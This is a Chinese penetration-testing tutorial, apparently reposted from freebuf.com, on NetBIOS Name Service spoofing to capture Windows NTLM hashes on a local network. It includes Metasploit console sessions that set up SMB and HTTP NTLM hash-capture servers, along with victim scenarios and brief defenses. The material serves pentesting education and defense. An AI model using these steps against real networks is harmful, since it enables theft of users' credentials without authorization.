Author:Thanks
Site:http://www.freebuf.com
一 前言
我们知道,在做内网渗透的时候,ARP欺骗、DNS欺骗等手法往往影响较大,且由于上述技术相对古老,防御软件多,加上现在很多的网络设备也逐渐拥有了ARP欺骗防御功能,所以种种情况无疑为我们的内网渗透增加了难度。
最近我在渗透测试工作中用到NetBios Spoofing技术,这种技术对WIN系列XP, 2003, Vista, 7, 2008均有效,能不依赖于ARP Spoofing以较小的成本抓取系统Hash。
二 NetBIOS Name Service (NBNS) 描述
NETBIOS协议是一种在局域网上的程序可以使用的应用程序编程接口(API),为程序提供了请求低级服务的统一的命令集,作用是为了给局域网提供网络以及其他特殊功能,系统可以利用WINS服务、广播及Lmhost文件等多种模式将NetBIOS名解析为相应IP地址,实现信息通讯,所以在局域网内部使用NetBIOS协议可以方便地实现消息通信及资源的共享。
Windows做DNS解析时有如下步骤:
1.local hosts file - C:\Windows\System32\drivers\etc\hosts 2.DNS 3.NBNS
那么当访问者输入一个不存在的域名,而LOCAL HOST FILE、DNS服务器均无法给出解析时,我们可爱又人性化的Windows就会发送NBNS请求进行查询。
请仔细看看上图的抓包,你会发现最给力的是:NBNS请求它是一个广播包!
即任何人可以回复并重定向流量,而不依赖于ARP欺骗。这非常神奇…
讲到现在大家一定思路清晰了:当下我们的目的是回复NBNS响应,从而转移流量进行欺骗。
三 利用方法
NetBios Spoofing利用方法目前来说有两种:HTTP和SMB。
我们先打开Metasploit,使用nbns_response模块,然后设置欺骗IP:
SMB:
msf > use auxiliary/server/capture/smb msf auxiliary(smb) > set JOHNPWFILE /home/tm/johnsmb JOHNPWFILE => /home/tm/johnsmb msf auxiliary(smb) > show options Module options (auxiliary/server/capture/smb): Name Current Setting Required Description ---- --------------- -------- ----------- CAINPWFILE no The local filename to store the hashes in Cain&Abel format CHALLENGE 1122334455667788 yes The 8 byte challenge JOHNPWFILE /home/tm/johnsmb no The prefix to the local filename to store the hashes in JOHN format LOGFILE no The local filename to store the captured hashes SRVHOST 0.0.0.0 yes The local host to listen on. This must be an address on the local machine or 0.0.0.0 SRVPORT 445 yes The local port to listen on. SSL false no Negotiate SSL for incoming connections SSLVersion SSL3 no Specify the version of SSL that should be used (accepted: SSL2, SSL3, TLS1) msf auxiliary(smb) > run [*] Auxiliary module execution completed [*] Server started.
HTTP:
msf auxiliary(smb) > use auxiliary/server/capture/http_ntlm msf auxiliary(http_ntlm) > set LOGFILE /home/tm/httplog LOGFILE => /home/tm/johnhttp msf auxiliary(http_ntlm) > set URIPATH / URIPATH => / msf auxiliary(http_ntlm) > set SRVPORT 80 SRVPORT => 80
四 场景
1.同交换环境下,有WINDOWS主机访问不存在的域名,如:http://thanks1132124324.com
2.同交换环境下,有WINDOWS主机进行不存在的SMB通信,如:file://thanks1132124324/
如上图,通过以上两种方法我们均能获取被攻击者的HASH(测试机使用的是WIN7)。
而在获得HASH之后,诸如破解、HASH传递等进一步渗透的方法在此不再赘述。值得注意的是,高版本WINDOWS系统由于HASH存储机制的不同(NTLMv2),破解起来难度较大。
五 防御方法
1.使用高版本的WINDOWS系统,使用高强度的密码,以加大HASH破解难度
2.关闭TCP/IP Netbios功能